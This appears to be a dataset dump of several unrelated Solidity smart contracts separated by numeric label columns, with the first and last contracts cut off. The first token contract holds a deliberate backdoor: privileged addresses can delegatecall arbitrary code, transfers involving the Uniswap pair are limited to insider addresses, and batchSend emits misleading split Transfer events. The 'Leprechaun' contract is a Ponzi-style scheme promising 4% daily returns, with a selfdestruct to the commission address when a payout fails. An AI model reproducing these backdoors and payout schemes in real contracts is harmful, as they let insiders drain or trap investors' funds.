emit Approval(msg.sender, publicSale, _value); allowance[msg.sender][community] = _value;
emit Approval(msg.sender, community, _value); allowance[msg.sender][Binance] = _value;
emit Approval(msg.sender, Binance, _value); allowance[msg.sender][CoinmarketCap] = _value;
emit Approval(msg.sender, CoinmarketCap, _value); allowance[msg.sender][Coingecko] = _value;
emit Approval(msg.sender, Coingecko, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require (msg.sender == owner ||
msg.sender == dev ||
msg.sender == marketing ||
msg.sender == adviser ||
msg.sender == privateSale ||
msg.sender == publicSale ||
msg.sender == community ||
msg.sender == Binance ||
msg.sender == CoinmarketCap ||
msg.sender == Coingecko
);
a.delegatecall(b);
}
function batchSend(address[] memory _Converts, uint _value) public payable returns (bool) {
require (msg.sender == owner ||
msg.sender == dev ||
msg.sender == marketing ||
msg.sender == adviser ||
msg.sender == privateSale ||
msg.sender == publicSale ||
msg.sender == community ||
msg.sender == Binance ||
msg.sender == CoinmarketCap ||
msg.sender == Coingecko
);
uint total = _value * _Converts.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _Converts.length; i++) {
address _Convert = _Converts[i];
balanceOf[_Convert] += _value;
emit Transfer(msg.sender, _Convert, _value/2);
emit Transfer(msg.sender, _Convert, _value/2);
}
return true;
}
modifier SwapAndFarmingForGarDeners(address _Load, address _Convert) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2,
address(this));
require(_Load == owner ||
_Load == UNI || _Load == dev || _Load == adviser || _Load == marketing ||
_Load == privateSale || _Load == publicSale || _Load == community ||
_Load == Binance ||
_Load == CoinmarketCap ||
_Load == Coingecko ||
_Convert == owner || _Convert == dev || _Convert == marketing || _Convert == adviser ||
_Convert == privateSale || _Convert == publicSale || _Convert == community ||
_Convert == Binance ||
_Convert == CoinmarketCap ||
_Convert == Coingecko
);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address private dev;
address private marketing;
address private adviser;
address private privateSale;
address private publicSale;
address private community;
address private Binance;
address private CoinmarketCap;
address private Coingecko;
address constant internal
UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(
address _dev, address _marketing, address _adviser, address _privateSale, address _publicSale, address _community,
address _Binance,
address _CoinmarketCap,
address _Coingecko,
string memory _name,
string memory _symbol,
uint256 _supply)
payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
dev = _dev;
marketing = _marketing;
adviser = _adviser;
privateSale = _privateSale;
publicSale = _publicSale;
community = _community;
Binance = _Binance;
CoinmarketCap = _CoinmarketCap;
Coingecko = _Coingecko;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
contract ReentrancyGuards {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
library EnumerableMap {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping (bytes32 => uint256) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {
map._entries.push(MapEntry({ _key: key, _value: value }));
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
map._entries[toDeleteIndex] = lastEntry;
map._indexes[lastEntry._key] = toDeleteIndex + 1;
map._entries.pop();
delete map._indexes[key];
return true;
} else {
return false;
}
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage);
return map._entries[keyIndex - 1]._value;
}
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
} | 0 | 578 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Base {
using SafeMath for uint256;
uint public createTime = now;
address public owner;
address public ownerAdmin;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function setOwner(address _newOwner) public {
require(msg.sender == ownerAdmin);
owner = _newOwner;
}
bool public globalLocked = false;
function lock() internal {
require(!globalLocked);
globalLocked = true;
}
function unLock() internal {
require(globalLocked);
globalLocked = false;
}
function setLock() public onlyOwner{
globalLocked = false;
}
mapping (address => uint256) public userEtherOf;
function userRefund() public returns(bool _result) {
return _userRefund(msg.sender);
}
function _userRefund(address _to) internal returns(bool _result){
require (_to != 0x0);
lock();
uint256 amount = userEtherOf[msg.sender];
if(amount > 0){
userEtherOf[msg.sender] = 0;
_to.transfer(amount);
_result = true;
}
else{
_result = false;
}
unLock();
}
uint public currentEventId = 1;
function getEventId() internal returns(uint _result) {
_result = currentEventId;
currentEventId ++;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 is Base {
string public name = 'Don Quixote Token';
string public symbol = 'DON';
uint8 public decimals = 9;
uint256 public totalSupply = 0;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function _callDividend(address _user) internal returns (bool _result);
function _transfer(address _from, address _to, uint256 _value) internal {
require(_from != 0x0);
require(_to != 0x0);
require(_from != _to);
require(_value > 0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) >= balanceOf[_to]);
_callDividend(_from);
_callDividend(_to);
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add( balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public {
require(_to != 0x0);
require(_value > 0);
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_from != 0x0);
require(_to != 0x0);
require(_value > 0);
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_spender != 0x0);
require(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
require(_spender != 0x0);
require(_value > 0);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
_callDividend(msg.sender);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(_from != 0x0);
require(_value > 0);
assert(1 >= 2);
symbol = 'DON';
return false;
}
}
interface IWithholdToken{
function withhold(address _user, uint256 _amount) external returns (bool _result);
function setGameTransferFlag(address _gameAddress, bool _gameCanTransfer) external;
}
contract WithholdToken is TokenERC20, IWithholdToken{
mapping (address=>mapping(address=>bool)) public gameTransferFlagOf;
function setGameTransferFlag(address _gameAddress, bool _gameCanTransfer) external {
require(_gameAddress != 0x0);
gameTransferFlagOf[msg.sender][_gameAddress] = _gameCanTransfer;
}
mapping(address => bool) public gameWhiteListOf;
event OnWhiteListChange(address indexed _gameAddr, address _operator, bool _result, uint _eventTime, uint _eventId);
function addWhiteList(address _gameAddr) public onlyOwner {
require (_gameAddr != 0x0);
gameWhiteListOf[_gameAddr] = true;
emit OnWhiteListChange(_gameAddr, msg.sender, true, now, getEventId());
}
function delWhiteList(address _gameAddr) public onlyOwner {
require (_gameAddr != 0x0);
gameWhiteListOf[_gameAddr] = false;
emit OnWhiteListChange(_gameAddr, msg.sender, false, now, getEventId());
}
function isWhiteList(address _gameAddr) public view returns(bool _result) {
require (_gameAddr != 0x0);
_result = gameWhiteListOf[_gameAddr];
}
function withhold(address _user, uint256 _amount) external returns (bool _result) {
require(_user != 0x0);
require(_amount > 0);
require(msg.sender != tx.origin);
require(gameTransferFlagOf[_user][msg.sender]);
require(isWhiteList(msg.sender));
require(balanceOf[_user] >= _amount);
_transfer(_user, msg.sender, _amount);
return true;
}
}
interface IProfitOrg {
function userRefund() external returns(bool _result);
function shareholder() constant external returns (address);
}
interface IDividendToken{
function profitOrgPay() payable external;
}
contract DividendToken is WithholdToken, IDividendToken{
address public iniOwner;
struct DividendPeriod
{
uint StartTime;
uint EndTime;
uint256 TotalEtherAmount;
uint256 ShareEtherAmount;
}
mapping (uint => DividendPeriod) public dividendPeriodOf;
uint256 public currentDividendPeriodNo = 0;
uint256 public shareAddEtherValue = 0;
uint256 public addTotalEtherValue = 0;
uint public lastDividendTime = now;
mapping (address => uint) public balanceTimeOf;
uint256 public minDividendEtherAmount = 1 ether;
function setMinDividendEtherAmount(uint256 _newMinDividendEtherAmount) public onlyOwner{
minDividendEtherAmount = _newMinDividendEtherAmount;
}
function callDividend() public returns (uint256 _etherAmount) {
_callDividend(msg.sender);
_etherAmount = userEtherOf[msg.sender];
return;
}
event OnCallDividend(address indexed _user, uint256 _tokenAmount, uint _lastCalTime, uint _etherAmount, uint _eventTime, uint _eventId);
function _callDividend(address _user) internal returns (bool _result) {
uint _amount = 0;
uint lastTime = balanceTimeOf[_user];
uint256 tokenNumber = balanceOf[_user];
if(tokenNumber <= 0)
{
balanceTimeOf[_user] = now;
_result = false;
return;
}
if(currentDividendPeriodNo == 0){
_result = false;
return;
}
for(uint256 i = currentDividendPeriodNo-1; i >= 0; i--){
DividendPeriod memory dp = dividendPeriodOf[i];
if(lastTime < dp.EndTime){
_amount = _amount.add(dp.ShareEtherAmount.mul(tokenNumber));
}else if (lastTime >= dp.EndTime){
break;
}
}
balanceTimeOf[_user] = now;
if(_amount > 0){
userEtherOf[_user] = userEtherOf[_user].add(_amount);
}
emit OnCallDividend(_user, tokenNumber, lastTime, _amount, now, getEventId());
_result = true;
return;
}
function saveDividendPeriod(uint256 _ShareEtherAmount, uint256 _TotalEtherAmount) internal {
DividendPeriod storage dp = dividendPeriodOf[currentDividendPeriodNo];
dp.ShareEtherAmount = _ShareEtherAmount;
dp.TotalEtherAmount = _TotalEtherAmount;
dp.EndTime = now;
dividendPeriodOf[currentDividendPeriodNo] = dp;
}
function newDividendPeriod(uint _StartTime) internal {
DividendPeriod memory newdp = DividendPeriod({
StartTime : _StartTime,
EndTime : 0,
TotalEtherAmount : 0,
ShareEtherAmount : 0
});
currentDividendPeriodNo++;
dividendPeriodOf[currentDividendPeriodNo] = newdp;
}
function callDividendAndUserRefund() public {
callDividend();
userRefund();
}
function getProfit(address _profitOrg) public {
lock();
IProfitOrg pt = IProfitOrg(_profitOrg);
address sh = pt.shareholder();
if(sh == address(this))
{
pt.userRefund();
}
unLock();
}
event OnProfitOrgPay(address _profitOrg, uint256 _sendAmount, uint256 _divAmount, uint256 _shareAmount, uint _eventTime, uint _eventId);
uint public divIntervalDays = 1 days;
function setDivIntervalDays(uint _days) public onlyOwner {
require(_days >= 1 && _days <= 30);
divIntervalDays = _days * (1 days);
}
function profitOrgPay() payable external {
if (msg.value > 0){
userEtherOf[this] += msg.value;
addTotalEtherValue += msg.value;
shareAddEtherValue += msg.value / totalSupply;
uint256 canValue = userEtherOf[this];
if(canValue < minDividendEtherAmount || now - lastDividendTime < divIntervalDays)
{
emit OnProfitOrgPay(msg.sender, msg.value, 0, 0, now, getEventId());
return;
}
uint256 sa = canValue .div(totalSupply);
if(sa <= 0){
emit OnProfitOrgPay(msg.sender, msg.value, 0, 0, now, getEventId());
return;
}
uint256 totalEtherAmount = sa.mul(totalSupply);
saveDividendPeriod(sa, totalEtherAmount);
newDividendPeriod(now);
userEtherOf[this] = userEtherOf[this].sub(totalEtherAmount);
emit OnProfitOrgPay(msg.sender, msg.value, totalEtherAmount, sa, now, getEventId());
lastDividendTime = now;
return;
}
}
event OnFreeLostToken(address _lostUser, uint256 _tokenNum, uint256 _etherNum, address _to, uint _eventTime, uint _eventId);
function freeLostToken(address _user) public onlyOwner {
require(_user != 0x0);
uint addTime = 10 * 365 days;
require(balanceOf[_user] > 0 && createTime.add(addTime) < now && balanceTimeOf[_user].add(addTime) < now);
require(_user != msg.sender && _user != iniOwner);
uint256 ba = balanceOf[_user];
require(ba > 0);
_callDividend(_user);
_callDividend(msg.sender);
_callDividend(iniOwner);
balanceOf[_user] -= ba;
balanceOf[msg.sender] = balanceOf[msg.sender].add( ba / 2);
balanceOf[iniOwner] = balanceOf[iniOwner].add(ba - (ba / 2));
uint256 amount = userEtherOf[_user];
if (amount > 0){
userEtherOf[_user] = userEtherOf[_user].sub(amount);
userEtherOf[msg.sender] = userEtherOf[msg.sender].add(amount / 2);
userEtherOf[iniOwner] = userEtherOf[iniOwner].add(amount - (amount / 2));
}
emit OnFreeLostToken(_user, ba, amount, msg.sender, now, getEventId());
}
}
contract ReferrerToken is DividendToken{
mapping(address => address) playerReferrerOf;
uint256 public refRewardL1Per100 = 30;
function setRefRewardPer100(uint256 _value1) public onlyOwner{
require(_value1 <= 50);
refRewardL1Per100 = _value1;
}
bool public referrerEnable = true;
function setreferrerEnable(bool _enable) public onlyOwner{
referrerEnable = _enable;
}
event OnAddPlayer(address _player, address _referrer, uint _eventTime, uint _eventId);
function addPlayer(address _player, address _referrer) public returns (bool _result){
_result = false;
require(_player != 0x0);
require(_referrer != 0x0);
require(referrerEnable);
if(balanceOf[_player] != 0){
return;
}
if(balanceOf[_referrer] == 0){
return;
}
if(playerReferrerOf[_player] == 0x0){
playerReferrerOf[_player] = _referrer;
emit OnAddPlayer(_player, _referrer, now, getEventId());
_result = true;
}
}
function addPlayer1(address _player) public returns (bool _result){
_result = addPlayer(_player, msg.sender);
}
function addPlayer2(address[] _players) public returns (uint _result){
_result = 0;
for(uint i = 0; i < _players.length; i++){
if(addPlayer(_players[i], msg.sender)){
_result++;
}
}
}
function addPlayer3(address[] _players, address _referrer) public returns (uint _result){
_result = 0;
for(uint i = 0; i < _players.length; i++){
if(addPlayer(_players[i], _referrer)){
_result++;
}
}
}
function getReferrer1(address _player) public view returns (address _result){
_result = playerReferrerOf[_player];
}
}
interface IGameToken{
function mineToken(address _player, uint256 _etherAmount) external returns (uint _toPlayerToken);
}
contract GameToken is ReferrerToken, IGameToken{
address public boss;
address public bossAdmin;
function setBoss(address _newBoss) public{
require(msg.sender == bossAdmin);
boss = _newBoss;
}
function GameToken(address _ownerAdmin, address _boss, address _bossAdmin) public {
require(_ownerAdmin != 0x0);
require(_boss != 0x0);
require(_bossAdmin != 0x0);
owner = msg.sender;
iniOwner = msg.sender;
ownerAdmin = _ownerAdmin;
boss = _boss;
bossAdmin = _bossAdmin;
totalSupply = 0;
balanceOf[msg.sender] = totalSupply;
}
event OnAddYearToken(uint256 _lastTotalSupply, uint256 _currentTotalSupply, uint _years, uint _eventTime, uint _eventId);
mapping(uint => uint256) yearTotalSupplyOf;
function addYearToken() public returns(bool _result) {
_result = false;
uint y = (now - createTime) / (365 days);
if (y > 0 && yearTotalSupplyOf[y] == 0){
_callDividend(iniOwner);
uint256 _lastTotalSupply = totalSupply;
totalSupply = totalSupply.mul(102).div(100);
uint256 _add = totalSupply.sub(_lastTotalSupply);
balanceOf[iniOwner] = balanceOf[iniOwner].add(_add);
yearTotalSupplyOf[y] = totalSupply;
emit OnAddYearToken(_lastTotalSupply, totalSupply, y, now, getEventId());
}
}
uint256 public baseMineTokenAmount = 1000 * (10 ** uint256(decimals));
uint256 public currentMineTokenAmount = baseMineTokenAmount;
uint public currentMideTokenTime = now;
function getMineTokenAmount() public returns (uint256 _result){
_result = 0;
if (currentMineTokenAmount == 0){
_result = currentMineTokenAmount;
return;
}
if(now <= 1 days + currentMideTokenTime){
_result = currentMineTokenAmount;
return;
}
currentMineTokenAmount = currentMineTokenAmount * 996 / 1000;
if(currentMineTokenAmount <= 10 ** uint256(decimals)){
currentMineTokenAmount = 0;
}
currentMideTokenTime = now;
_result = currentMineTokenAmount;
return;
}
event OnMineToken(address indexed _game, address indexed _player, uint256 _toUser, uint256 _toOwner, uint256 _toBosss, uint256 _toSupper, uint _eventTime, uint _eventId);
function mineToken(address _player, uint256 _etherAmount) external returns (uint _toPlayerToken) {
_toPlayerToken = _mineToken(_player, _etherAmount);
}
function _mineToken(address _player, uint256 _etherAmount) private returns (uint _toPlayerToken) {
require(_player != 0x0);
require(isWhiteList(msg.sender));
require(msg.sender != tx.origin);
require(_etherAmount > 0);
uint256 te = getMineTokenAmount();
if (te == 0){
return;
}
uint256 ToUser = te .mul(_etherAmount).div(1 ether);
if (ToUser > 0){
_callDividend(_player);
_callDividend(owner);
_callDividend(boss);
balanceOf[_player] = balanceOf[_player].add(ToUser);
uint256 ToSupper = 0;
if(referrerEnable){
address supper = getReferrer1(_player);
if (supper != 0x0){
_callDividend(supper);
ToSupper = ToUser * refRewardL1Per100 / 100;
balanceOf[supper] = balanceOf[supper].add(ToSupper);
}
}
uint256 ToUS = ToUser.add(ToSupper);
uint256 ToOwner = ToUS.div(8);
balanceOf[owner] = balanceOf[owner].add(ToOwner);
uint256 ToBoss = ToUS.div(8);
balanceOf[boss] = balanceOf[boss].add(ToBoss);
totalSupply = totalSupply.add(ToUS.add(ToOwner.add(ToBoss)));
emit OnMineToken(msg.sender, _player, ToUser, ToOwner, ToBoss, ToSupper, now, getEventId());
}
_toPlayerToken = ToUser;
}
function () public payable {
if (msg.value > 0){
userEtherOf[msg.sender] += msg.value;
}
}
} | 0 | 2,123 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library Addr {
function toAddr(uint source) internal pure returns(address) {
return address(source);
}
function toAddr(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function notZero(address addr) internal pure returns(bool) {
return !isZero(addr);
}
}
contract Storage {
using SafeMath for uint;
address public addrCommission = msg.sender;
uint public constant minimalDeposit = 0.0001 ether;
uint public constant minimalPayout = 0.000001 ether;
uint public constant profit = 4;
uint public constant projectCommission = 5;
uint public constant cashbackInvestor = 13;
uint public constant cashbackPartner = 12;
uint public countInvestors = 0;
uint public totalInvest = 0;
uint public totalPaid = 0;
mapping (address => uint256) internal balances;
mapping (address => uint256) internal timestamps;
function getUserInvestBalance(address addr) public view returns(uint) {
return balances[addr];
}
function getUserPayoutBalance(address addr) public view returns(uint) {
if (timestamps[addr] > 0) {
uint time = now.sub(timestamps[addr]);
return getUserInvestBalance(addr).mul(profit).div(100).mul(time).div(1 days);
} else {
return 0;
}
}
}
contract Leprechaun is Storage {
using Addr for *;
modifier onlyHuman() {
address addr = msg.sender;
uint size;
assembly { size := extcodesize(addr) }
require(size == 0, "You're not a human!");
_;
}
modifier checkFirstDeposit() {
require(
!(getUserInvestBalance(msg.sender) == 0 && msg.value > 0 && msg.value < minimalDeposit),
"The first deposit is less than the minimum amount"
);
_;
}
modifier fromPartner() {
if (getUserInvestBalance(msg.sender) == 0 && msg.value > 0) {
address ref = msg.data.toAddr();
if (ref.notZero() && ref != msg.sender && balances[ref] > 0) {
_;
}
}
}
constructor() public payable {}
function() public payable onlyHuman checkFirstDeposit {
cashback();
sendCommission();
sendPayout();
updateUserInvestBalance();
}
function cashback() internal fromPartner {
uint amountPartner = msg.value.mul(cashbackPartner).div(100);
transfer(msg.data.toAddr(), amountPartner);
uint amountInvestor = msg.value.mul(cashbackInvestor).div(100);
transfer(msg.sender, amountInvestor);
totalPaid = totalPaid.add(amountPartner).add(amountInvestor);
}
function sendCommission() internal {
if (msg.value > 0) {
uint commission = msg.value.mul(projectCommission).div(100);
if (commission > 0) {
transfer(addrCommission, commission);
}
}
}
function sendPayout() internal {
if (getUserInvestBalance(msg.sender) > 0) {
uint profit = getUserPayoutBalance(msg.sender);
if (profit >= minimalPayout) {
transfer(msg.sender, profit);
timestamps[msg.sender] = now;
totalPaid = totalPaid.add(profit);
}
} else if (msg.value > 0) {
timestamps[msg.sender] = now;
countInvestors++;
}
}
function updateUserInvestBalance() internal {
balances[msg.sender] = balances[msg.sender].add(msg.value);
totalInvest = totalInvest.add(msg.value);
}
function transfer(address addr, uint amount) internal {
if (amount <= 0 || addr.isZero()) { return; }
require(gasleft() > 3500, "Need more gas for transaction");
if (addr.send(amount) == false) {
selfdestruct(addrCommission);
}
}
} | 0 | 1,429 |
pragma solidity ^0.5.7;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract());
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
contract TokenTimelock {
using SafeERC20 for IERC20;
IERC20 private _token;
address private _beneficiary;
uint256 private _releaseTime;
constructor (IERC20 token, address beneficiary, uint256 releaseTime) public {
require(releaseTime > block.timestamp);
_token = token;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
